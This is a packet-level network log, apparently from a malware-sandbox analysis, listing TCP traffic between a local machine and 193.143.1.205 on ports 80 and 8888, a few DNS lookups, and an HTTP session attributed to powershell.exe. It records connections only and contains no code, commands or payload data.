Jan 11, 2025 07:20:01.927776098 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927779913 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.927787066 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.927815914 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928123951 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928137064 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928148031 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928159952 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928170919 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928181887 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928193092 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928204060 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928220034 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928220034 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928256035 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928420067 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928431034 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928442955 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928453922 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928472042 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928484917 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928494930 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928495884 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928507090 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928524971 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928527117 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928536892 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928540945 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928549051 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928586006 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928781986 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928795099 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928816080 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928914070 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928925991 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928936958 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928949118 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928955078 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.928961039 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.928966999 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.929002047 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.929035902 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929048061 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929059029 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929069996 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929081917 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929091930 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.929094076 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929105043 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929119110 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929124117 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.929136038 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.929157019 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.929244995 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.929260969 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.932256937 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.964725018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964740992 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964759111 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964770079 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964790106 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964802980 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964814901 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964926004 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964943886 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964956999 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964956045 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.964956045 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.964967012 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.964977980 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.965003967 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.965003967 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.965018988 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.965106964 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.965123892 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.965135098 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.965150118 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.965156078 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.965184927 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.965246916 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.965257883 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.965342045 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974051952 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974064112 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974076033 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974093914 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974106073 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974111080 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974148989 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974175930 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974189043 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974226952 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974356890 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974368095 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974380016 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974392891 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974397898 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974404097 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974409103 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974452019 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974481106 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974493027 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974504948 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974514961 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.974529028 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.974553108 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.012916088 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.012937069 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.012957096 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.012969971 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.012980938 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.012993097 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013005972 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013048887 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013060093 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013079882 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013088942 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013127089 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013127089 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013127089 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013134956 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013163090 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013170004 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013170004 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013189077 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013237953 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013250113 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013277054 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013299942 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013312101 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013323069 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013334036 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013360977 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013416052 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013427019 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013439894 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013452053 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013479948 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013539076 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013550997 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013562918 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013572931 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013587952 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013619900 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013637066 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013647079 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013658047 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013675928 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013753891 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013766050 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013777018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013787985 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013796091 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013830900 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013964891 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013976097 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013988018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.013998032 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.013999939 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014012098 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014022112 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014035940 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014069080 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014152050 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014163017 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014175892 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014184952 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014188051 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014199018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014210939 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014219046 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014251947 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014410973 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014425993 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014436960 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014447927 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014452934 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014458895 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014478922 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014481068 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014489889 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014502048 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014503002 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014514923 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014518976 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014559984 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014688015 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014700890 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014713049 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014733076 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014837027 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014849901 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014861107 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014874935 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014899969 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.014974117 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014986038 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.014997959 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015010118 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015019894 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015022993 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015034914 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015043020 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015048981 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015065908 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015276909 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015290022 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015301943 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015309095 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015321016 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015333891 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015345097 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015347958 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015357018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015367985 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015371084 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015379906 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015391111 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015392065 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015409946 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015665054 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015723944 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015737057 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015747070 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015758038 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015758991 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015769005 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015779972 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015791893 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015793085 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015803099 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015809059 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015814066 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015826941 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.015835047 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015846968 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.015866995 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.016000032 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051754951 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051785946 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051799059 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051817894 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051829100 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051841021 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051852942 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051863909 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.051934004 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.051980972 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.056823969 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.056837082 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.056937933 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.275134087 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.276290894 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.346931934 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.347125053 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.351840019 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.351857901 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.351870060 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.351897001 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.351970911 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.351984024 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352001905 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352005959 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352014065 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352025986 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352034092 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352037907 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352050066 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352061987 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352075100 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352212906 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352227926 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352238894 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352250099 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352264881 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352268934 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352276087 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352288008 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352305889 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352310896 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352318048 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352332115 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352350950 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352384090 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352396011 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352427006 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352525949 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352536917 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352547884 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352566004 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352566004 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352579117 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352586985 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352590084 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352602005 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352612972 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352617979 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352624893 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352636099 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352648973 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352653027 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352659941 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:02.352679014 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.352689981 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.586644888 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.592917919 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:02.717617989 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:03.174485922 CET	49724	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:03.179398060 CET	8888	49724	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:03.179476976 CET	49724	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:03.179919004 CET	49724	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:03.184674978 CET	8888	49724	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:04.052747011 CET	8888	49724	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:04.093898058 CET	49724	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:05.030431986 CET	49724	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:16.709124088 CET	55490	53	192.168.2.11	1.1.1.1
Jan 11, 2025 07:20:16.714097023 CET	53	55490	1.1.1.1	192.168.2.11
Jan 11, 2025 07:20:16.714159012 CET	55490	53	192.168.2.11	1.1.1.1
Jan 11, 2025 07:20:16.719006062 CET	53	55490	1.1.1.1	192.168.2.11
Jan 11, 2025 07:20:17.177891016 CET	55490	53	192.168.2.11	1.1.1.1
Jan 11, 2025 07:20:17.182812929 CET	53	55490	1.1.1.1	192.168.2.11
Jan 11, 2025 07:20:17.182907104 CET	55490	53	192.168.2.11	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:20:10.742851019 CET	60904	53	192.168.2.11	1.1.1.1
Jan 11, 2025 07:20:16.708702087 CET	53	49908	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:20:10.742851019 CET	192.168.2.11	1.1.1.1	0xa704	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:20:10.750341892 CET	1.1.1.1	192.168.2.11	0xa704	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:20:11.468920946 CET	1.1.1.1	192.168.2.11	0x386b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:20:11.468920946 CET	1.1.1.1	192.168.2.11	0x386b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49708	193.143.1.205	80	3864	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
